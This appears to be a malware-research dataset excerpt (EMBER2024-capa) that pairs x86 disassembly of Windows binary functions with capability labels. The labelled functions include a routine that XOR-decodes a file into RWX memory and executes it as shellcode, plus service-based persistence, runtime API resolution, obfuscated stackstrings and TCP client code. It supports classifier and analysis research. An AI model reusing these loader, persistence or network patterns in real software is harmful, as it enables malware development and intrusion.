joyce8/EMBER2024-capa huggingface dataset:
Function at 0x446960
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x446993
push esi
call fcn.00454d00
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44698c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x446a19
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x446a02
mov eax, dword [esi + 8]
test eax, eax
je 0x4469b7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4469fe
cmp eax, 2
je 0x446a02
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4469aa
cmp eax, 3
je 0x4469dd
cmp eax, 1
jne 0x4469aa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4469aa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4469aa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00446a40
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x446a28
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00446a40
add esp, 4
pop esi
ret

Function at 0x4472b0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x4472d1
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x4472d1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4472d1
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x474fae
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x474fe6
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00473062
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047303a
jmp 0x474ff2
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x47669c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4766de
call fcn.0047c15a
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4766de
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4766d5
xor eax, eax
jmp 0x4766e6
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004766ec
pop edi
pop esi
pop ebx
ret 4
Function at 0x47c68a
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x47c6b8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x47c6d6
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0047c5f0
jmp 0x47c6d6
mov eax, dword [esi + 0x14]
test eax, eax
je 0x47c6d6
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0047c5f0
test edi, edi
mov eax, edi
jne 0x47c6c0
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40c006
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ecx, 0xcbf
mov ebx, edx
xor word [eax], dx
lea edx, [ebx + edx]
xchg dh, dl
lea eax, [eax + 2]
loop 0x40c00e
pop ebx
ret

Function at 0x43b63c
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x43b3c1
add esi, 1
sub edx, 0xa0d5a0cd
call fcn.0043b66c
or esi, edx
xor dword [edi], ecx
sub edx, edx
inc edi
push 0xfdf62b5
pop edx
mov edx, esi
cmp edi, ebx
jne fcn.0043b63c
sub esi, edx
sub esi, edx
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4030a0
Capabilities:
Create mailslot

Disassembly:
push ecx
cmp dword [0x2b837dc], 3
jne 0x4030c6
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [esp], 0
mov eax, dword [esp + 0x10]
mov dword [esp], eax
mov eax, dword [esp + 0xc]
xor dword [esp], eax
mov eax, dword [esp]
mov ecx, dword [esp + 8]
mov dword [ecx], eax
pop ecx
ret 0xc

Function at 0x4032f0
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, dword [0x2b837dc]
mov ecx, dword [0x2b83750]
sub esp, 0xc0c
push ebx
push ebp
shr eax, 3
push esi
push edi
test eax, eax
jbe 0x403404
mov edi, dword [sym.imp.KERNEL32.dll_SetHandleCount]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp dword [0x2b837dc], 0x959
jne 0x4033ea
push 0
call edi
push 0
lea eax, [esp + 0x41c]
push eax
push 0
call ebx
push 0
push 0
call esi
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x402d00
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x402d10
push 0x402d24
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov edx, dword [esp + 0x10]
push edx
call fcn.00403110
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x403330
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc0c
ret
Function at 0x409930
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42ab70]
jne 0x40993a
repz ret
jmp fcn.0040b95c

Function at 0x40a303
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405e53
and dword [ebp - 4], 0
cmp dword [0x42c9ac], 0
mov ebx, eax
jne 0x40a3b4
push 0x402bfc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a465
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402bf0
push edi
call esi
test eax, eax
je 0x40a465
push eax
call fcn.00405de1
mov dword [esp], 0x402be0
push edi
mov dword [0x42c9ac], eax
call esi
push eax
call fcn.00405de1
mov dword [esp], 0x402bcc
push edi
mov dword [0x42c9b0], eax
call esi
push eax
call fcn.00405de1
mov dword [esp], 0x402bb0
push edi
mov dword [0x42c9b4], eax
call esi
push eax
call fcn.00405de1
pop ecx
mov dword [0x42c9bc], eax
test eax, eax
je 0x40a3b4
push 0x402b98
push edi
call esi
push eax
call fcn.00405de1
pop ecx
mov dword [0x42c9b8], eax
mov eax, dword [0x42c9b8]
cmp eax, ebx
je 0x40a40c
cmp dword [0x42c9bc], ebx
je 0x40a40c
push eax
call fcn.00405e5c
push dword [0x42c9bc]
mov esi, eax
call fcn.00405e5c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a40c
test edi, edi
je 0x40a40c
call esi
test eax, eax
je 0x40a403
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a403
test byte [ebp - 0xc], 1
jne 0x40a40c
or dword [ebp + 0x10], 0x200000
jmp 0x40a445
mov eax, dword [0x42c9b0]
cmp eax, ebx
je 0x40a445
push eax
call fcn.00405e5c
pop ecx
test eax, eax
je 0x40a445
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a445
mov eax, dword [0x42c9b4]
cmp eax, ebx
je 0x40a445
push eax
call fcn.00405e5c
pop ecx
test eax, eax
je 0x40a445
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42c9ac]
call fcn.00405e5c
pop ecx
test eax, eax
je 0x40a465
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a467
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
call 0x42e00c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Get hostname
Get networking interfaces
Identify system language via api
Link many functions at runtime
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x344
push ebx
push ebp
push esi
jmp loc.0040f428

Function at 0x401790
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], 0
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [esp + 0x1c], eax
mov ebp, eax
mov al, byte [esi]
add esp, 4
test al, al
je 0x401897
lea edi, [esi + 2]
mov eax, dword [esp + 0x10]
test eax, eax
jmp loc.004102b2
mov eax, dword [esp + 0x18]
sub ebp, eax
mov esi, ebp
push esi
push eax
call dword [sym.imp.MSVCRT.dll_realloc]
mov edx, dword [esp + 0x24]
add esp, 8
mov dword [edx], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4017bc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x10], 0
push ecx
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [esp + 0x1c], eax
mov ebp, eax
mov al, byte [esi]
add esp, 4
test al, al
je 0x401897
lea edi, [esi + 2]
mov eax, dword [esp + 0x10]
test eax, eax
jmp loc.004102b2
mov eax, dword [esp + 0x18]
sub ebp, eax
mov esi, ebp
push esi
push eax
call dword [sym.imp.MSVCRT.dll_realloc]
mov edx, dword [esp + 0x24]
add esp, 8
mov dword [edx], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4018c0
Capabilities:
Packed with generic packer

Disassembly:
mov cl, byte [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
jmp loc.0040f591

Function at 0x4018f0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
jmp loc.0040f81e

Function at 0x401940
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 8

Function at 0x401c64
Capabilities:
Act as tcp client
Connect tcp socket
Connect udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407164
jmp loc.0040f5c9
Function at 0x401cd0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x407188
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
cmp dword [0x407464], 0
mov dword [ebp - 8], eax
jne 0x401e1a
and byte [ebp - 0xd8], 0
push 0x1f
pop ecx
xor eax, eax
lea edi, [ebp - 0xd7]
push str.3d3d3R3m1h3c0eQJEhYQFxRD
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004018f0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0xd8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xd8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4077d8
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 0xc
mov ebx, 0x4074ec
test eax, eax
je fcn.00401e03
push 0x20
xor eax, eax
pop ecx
mov edi, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xd8]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strcspn]
push eax
lea eax, [ebp - 0xd8]
push eax
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x14
cmp dword [0x40777c], 1
jne 0x401ddf
and byte [ebp - 0x58], 0
push 0xf
pop ecx
xor eax, eax
lea edi, [ebp - 0x57]
push 0xa
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x58]
push eax
call fcn.00401bc2
pop ecx
mov edi, 0x4077d4
pop ecx
xor eax, eax
or ecx, 0xffffffff
lea edx, [ebp - 0x58]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0x58]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x58]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4077d8
jmp loc.0040fd63
push 0x50
mov word [ebp - 0x18], 2
call dword [ebp - 4]
mov word [ebp - 0x16], ax
jmp loc.0040ff50
Function at 0x402217
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x384
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407144
push str.GetShortPathNameA
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.GetEnvironmentVariableA
push ebx
mov dword [ebp - 0x2c], eax
call esi
push eax
call edi
push 0x407304
push ebx
mov dword [ebp - 0x30], eax
call esi
push eax
call edi
push 0x4071e0
push ebx
mov dword [ebp - 0x38], eax
call esi
push eax
call edi
push str.SetPriorityClass
push ebx
mov dword [ebp - 0x24], eax
call esi
push eax
call edi
push str.SetThreadPriority
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push str.WinExec
push ebx
mov dword [ebp - 0x3c], eax
call esi
push eax
call edi
push str.SetFileAttributesA
push ebx
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x34], eax
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x17b]
mov byte [ebp - 0x17c], bl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
jmp loc.0040f4dd

Function at 0x402446
Capabilities:
Get socket status
Packed with generic packer
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 0x10]
push esi
xor esi, esi
test ebx, ebx
jne 0x40245f
push 1
pop eax
jmp fcn.004024d4
mov eax, dword [0x408498]
push 0
mov dword [ebp - 0x100], eax
push 0
lea eax, [ebp - 0x104]
push 0
push eax
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp - 0x104], 1
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4024cd
test eax, eax
je 0x40245f
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x40245f
mov eax, ebx
push 0
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x4024cd
cmp eax, 0xffffffff
je 0x4024cd
add esi, eax
cmp esi, ebx
jb 0x40245f
xor eax, eax
jmp loc.0040f257

Function at 0x402c37
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
xor ebx, ebx
push esi
push ebx
jmp loc.0041017d

Function at 0x402f1b
Capabilities:
Link many functions at runtime
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x407144
push str.GetLastError
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.ExitProcess
push ebx
call esi
push eax
call edi
push str.GetCurrentThreadId
push ebx
call esi
push eax
call edi
push str.CreateMutexA
push ebx
call esi
push eax
call edi
push str.GetModuleFileNameA
push ebx
call esi
push eax
call edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push str.Sleep
push ebx
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x41
xor eax, eax
pop ecx
jmp loc.0040f51a
Function at 0x403000
Capabilities:
Contain obfuscated stackstrings
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, str.ADVAPI32.dll
push str.RegCloseKey
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.RegOpenKeyExA
push ebx
mov dword [ebp - 0x28], eax
call esi
push eax
call edi
push 0x40
mov dword [ebp - 0x30], eax
xor edx, edx
pop ecx
xor eax, eax
lea edi, [ebp - 0x133]
mov byte [ebp - 0x134], dl
mov byte [ebp - 0x24], 0x53
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebp - 0x24]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x23], 0x59
mov byte [ebp - 0x22], 0x53
mov byte [ebp - 0x21], 0x54
mov byte [ebp - 0x20], 0x45
mov byte [ebp - 0x1f], 0x4d
mov byte [ebp - 0x1e], 0x5c
mov byte [ebp - 0x1d], 0x43
mov byte [ebp - 0x1c], 0x75
mov byte [ebp - 0x1b], 0x72
mov byte [ebp - 0x1a], 0x72
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x43
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x74
jmp loc.0040f7c0
Function at 0x403161
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x468
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x340], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x364], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x234], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x34c], eax
push str.GetModuleFileNameA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x370], eax
push str.GetWindowsDirectoryA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x35c], eax
push str.CopyFileA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x228], eax
push str.RegSetValueExA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x354], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x230], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x36c], eax
push str.UnlockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x368], eax
push str.ChangeServiceConfig2A
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x350], eax
push str.CreateServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
push str.LockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x22c], eax
push str.GetLastError
mov ebx, 0x407144
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x358], eax
push str.WinExec
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x360], eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x33c]
push eax
xor ebx, ebx
push ebx
call dword [ebp - 0x370]
push esi
lea eax, [ebp - 0x224]
push eax
call dword [ebp - 0x35c]
lea edi, [ebp - 0x224]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x403572
jmp loc.0040f343
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x348], ebx
jmp loc.0041019c

Function at 0x403ac0
Capabilities:
Packed with generic packer

Disassembly:
push 0x30000
jmp loc.0040f4a1